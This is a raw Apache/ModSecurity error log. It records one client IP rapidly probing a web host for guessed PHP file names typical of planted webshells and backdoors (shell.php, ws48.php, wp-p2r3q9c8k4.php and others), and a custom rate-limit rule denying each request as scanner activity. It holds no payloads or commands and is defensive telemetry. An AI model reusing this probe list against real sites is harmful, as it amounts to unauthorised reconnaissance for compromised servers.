[Thu Apr 23 21:19:21.974095 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:4806] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocWb6vRb9j6psK2ZaDBwAAAg4"]
[Thu Apr 23 21:19:22.436571 2026] [:error] [pid 65000:tid 65051] [client 158.158.123.88:31274] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeocWr6vRb9j6psK2ZaDDgAAAhI"]
[Thu Apr 23 21:19:22.921101 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:4828] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocWr6vRb9j6psK2ZaDFAAAAgs"]
[Thu Apr 23 21:19:23.110037 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:28111] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeocW76vRb9j6psK2ZaDFwAAAg4"]
[Thu Apr 23 21:19:23.480032 2026] [:error] [pid 65000:tid 65038] [client 158.158.123.88:35000] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocW76vRb9j6psK2ZaDGwAAAgU"]
[Thu Apr 23 21:19:23.595984 2026] [:error] [pid 65000:tid 65029] [client 158.158.123.88:4801] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeocW76vRb9j6psK2ZaDHAAAAgA"]
[Thu Apr 23 21:19:24.179862 2026] [:error] [pid 64998:tid 65006] [client 158.158.123.88:34956] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocXIV5EysYcTLjmwh5VAAAAcQ"]
[Thu Apr 23 21:19:24.462399 2026] [:error] [pid 65000:tid 65044] [client 158.158.123.88:35004] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocXL6vRb9j6psK2ZaDJgAAAgs"]
[Thu Apr 23 21:19:24.683979 2026] [:error] [pid 59700:tid 59722] [client 158.158.123.88:31982] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocXJXyGZJFeAIDWtkoLAAAAVQ"]
[Thu Apr 23 21:19:25.212145 2026] [:error] [pid 59700:tid 59717] [client 158.158.123.88:31995] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocXZXyGZJFeAIDWtkoLwAAAU8"]
[Thu Apr 23 21:19:25.537283 2026] [:error] [pid 42972:tid 43021] [client 158.158.123.88:31953] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocXcOAb-3sOknsk4c6ugAAAEU"]
[Thu Apr 23 21:19:25.745147 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:5040] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aeocXb6vRb9j6psK2ZaDLQAAAgg"]
[Thu Apr 23 21:19:26.204122 2026] [:error] [pid 64967:tid 64988] [client 158.158.123.88:34947] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocXoAV4GfOOdX8Qzp1PQAAAZM"]
[Thu Apr 23 21:19:26.248401 2026] [:error] [pid 42971:tid 43000] [client 158.158.123.88:49568] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocXjEP2_5RswrH8bEqXQAAAA4"]
[Thu Apr 23 21:19:26.730020 2026] [:error] [pid 65000:tid 65042] [client 158.158.123.88:54132] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocXr6vRb9j6psK2ZaDMgAAAgk"]
[Thu Apr 23 21:19:27.017766 2026] [:error] [pid 43083:tid 43107] [client 158.158.123.88:4999] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocXzC5hrvNXosL83J3wQAAANY"]
[Thu Apr 23 21:19:27.217756 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:31964] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocX76vRb9j6psK2ZaDMwAAAgE"]
[Thu Apr 23 21:19:27.648068 2026] [:error] [pid 42973:tid 43055] [client 158.158.123.88:54771] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ok.php"] [unique_id "aeocX26I0QqmmmLTHE0ZrwAAAIw"]
[Thu Apr 23 21:19:27.696719 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:4537] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new.php"] [unique_id "aeocX76vRb9j6psK2ZaDOAAAAgw"]
[Thu Apr 23 21:19:28.203953 2026] [:error] [pid 65000:tid 65047] [client 158.158.123.88:49567] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocYL6vRb9j6psK2ZaDPwAAAg4"]
[Thu Apr 23 21:19:28.732835 2026] [:error] [pid 43083:tid 43089] [client 158.158.123.88:49580] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocYDC5hrvNXosL83J3wgAAAMQ"]
[Thu Apr 23 21:19:29.136231 2026] [:error] [pid 42973:tid 43066] [client 158.158.123.88:34958] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeocYW6I0QqmmmLTHE0ZtAAAAJc"]
[Thu Apr 23 21:19:29.259463 2026] [:error] [pid 46953:tid 46960] [client 158.158.123.88:54142] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocYUnlpdHh-P6wKbo4bAAAAkQ"]
[Thu Apr 23 21:19:29.865157 2026] [:error] [pid 42972:tid 43039] [client 158.158.123.88:50387] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeocYcOAb-3sOknsk4c6wQAAAFc"]
[Thu Apr 23 21:19:30.935579 2026] [:error] [pid 65000:tid 65040] [client 158.158.123.88:35001] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocYr6vRb9j6psK2ZaDUgAAAgc"]
[Thu Apr 23 21:19:31.274002 2026] [:error] [pid 59700:tid 59704] [client 158.158.123.88:54754] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeocY5XyGZJFeAIDWtkoNQAAAUI"]
[Thu Apr 23 21:19:33.346199 2026] [:error] [pid 25635:tid 25642] [client 158.158.123.88:62836] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocZcRxv6UsgRGKB3IzhgAAAQM"]
[Thu Apr 23 21:19:34.033730 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:54774] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeocZr6vRb9j6psK2ZaDYwAAAgE"]
[Thu Apr 23 21:19:34.699101 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:4398] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocZr6vRb9j6psK2ZaDawAAAgQ"]
[Thu Apr 23 21:19:35.152391 2026] [:error] [pid 59700:tid 59709] [client 158.158.123.88:5032] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eetu.php"] [unique_id "aeocZ5XyGZJFeAIDWtkoOgAAAUc"]
[Thu Apr 23 21:19:35.518083 2026] [:error] [pid 46953:tid 46980] [client 158.158.123.88:28112] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aeocZ0nlpdHh-P6wKbo4eAAAAlc"]
[Thu Apr 23 21:19:35.930547 2026] [:error] [pid 64998:tid 65016] [client 158.158.123.88:49597] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeocZ4V5EysYcTLjmwh5ewAAAc4"]
[Thu Apr 23 21:19:36.545865 2026] [:error] [pid 46953:tid 46973] [client 158.158.123.88:54769] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocaEnlpdHh-P6wKbo4egAAAlE"]
[Thu Apr 23 21:19:37.287325 2026] [:error] [pid 46953:tid 46956] [client 158.158.123.88:62794] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeocaUnlpdHh-P6wKbo4fAAAAkA"]
[Thu Apr 23 21:19:37.474078 2026] [:error] [pid 65000:tid 65041] [client 158.158.123.88:4533] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocab6vRb9j6psK2ZaDdQAAAgg"]
[Thu Apr 23 21:19:38.048726 2026] [:error] [pid 64998:tid 65019] [client 158.158.123.88:5087] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocaoV5EysYcTLjmwh5hQAAAdE"]
[Thu Apr 23 21:19:38.292145 2026] [:error] [pid 42973:tid 43043] [client 158.158.123.88:4858] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeocam6I0QqmmmLTHE0ZwAAAAIA"]
[Thu Apr 23 21:19:38.856200 2026] [:error] [pid 65000:tid 65031] [client 158.158.123.88:49540] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aeocar6vRb9j6psK2ZaDewAAAgI"]
[Thu Apr 23 21:19:39.249319 2026] [:error] [pid 65000:tid 65050] [client 158.158.123.88:4832] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeoca76vRb9j6psK2ZaDfgAAAhE"]
[Thu Apr 23 21:19:39.373836 2026] [:error] [pid 42973:tid 43062] [client 158.158.123.88:4373] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeoca26I0QqmmmLTHE0ZxgAAAJM"]
[Thu Apr 23 21:19:39.795474 2026] [:error] [pid 42971:tid 42997] [client 158.158.123.88:4515] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeocazEP2_5RswrH8bEqZAAAAAs"]
[Thu Apr 23 21:19:40.111676 2026] [:error] [pid 65000:tid 65046] [client 158.158.123.88:54762] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocbL6vRb9j6psK2ZaDgwAAAg0"]
[Thu Apr 23 21:19:40.530007 2026] [:error] [pid 65000:tid 65057] [client 158.158.123.88:4388] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeocbL6vRb9j6psK2ZaDigAAAhg"]
[Thu Apr 23 21:19:40.763960 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:33196] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocbL6vRb9j6psK2ZaDjAAAAgQ"]
[Thu Apr 23 21:19:41.044006 2026] [:error] [pid 65000:tid 65048] [client 158.158.123.88:5016] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeocbb6vRb9j6psK2ZaDkgAAAg8"]
[Thu Apr 23 21:19:41.427914 2026] [:error] [pid 59700:tid 59707] [client 158.158.123.88:29398] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeocbZXyGZJFeAIDWtkoPwAAAUU"]
[Thu Apr 23 21:19:41.898849 2026] [:error] [pid 42972:tid 43020] [client 158.158.123.88:28135] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file61.php"] [unique_id "aeocbcOAb-3sOknsk4c6yQAAAEQ"]
[Thu Apr 23 21:19:42.229853 2026] [:error] [pid 65000:tid 65039] [client 158.158.123.88:31937] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocbr6vRb9j6psK2ZaDmgAAAgY"]
[Thu Apr 23 21:19:42.420308 2026] [:error] [pid 65000:tid 65052] [client 158.158.123.88:34998] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeocbr6vRb9j6psK2ZaDnQAAAhM"]
[Thu Apr 23 21:19:42.898658 2026] [:error] [pid 64998:tid 65015] [client 158.158.123.88:49592] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocboV5EysYcTLjmwh5igAAAc0"]
[Thu Apr 23 21:19:42.992343 2026] [:error] [pid 65000:tid 65045] [client 158.158.123.88:62841] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeocbr6vRb9j6psK2ZaDogAAAgw"]
[Thu Apr 23 21:19:43.623610 2026] [:error] [pid 65000:tid 65030] [client 158.158.123.88:28106] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeocb76vRb9j6psK2ZaDqAAAAgE"]
[Thu Apr 23 21:19:43.628683 2026] [:error] [pid 64998:tid 65021] [client 158.158.123.88:4383] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeocb4V5EysYcTLjmwh5jQAAAdM"]
[Thu Apr 23 21:19:44.317345 2026] [:error] [pid 65000:tid 65037] [client 158.158.123.88:4514] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/asd.php"] [unique_id "aeoccL6vRb9j6psK2ZaDrgAAAgQ"]
[Thu Apr 23 21:19:44.675792 2026] [:error] [pid 42973:tid 43055] [client 158.158.123.88:31961] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aeoccG6I0QqmmmLTHE0Z0QAAAIw"]
[Thu Apr 23 21:19:45.227273 2026] [:error] [pid 42973:tid 43058] [client 158.158.123.88:5045] [client 158.158.123.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xx.php"] [unique_id "aeoccW6I0QqmmmLTHE0Z1gAAAI8"]
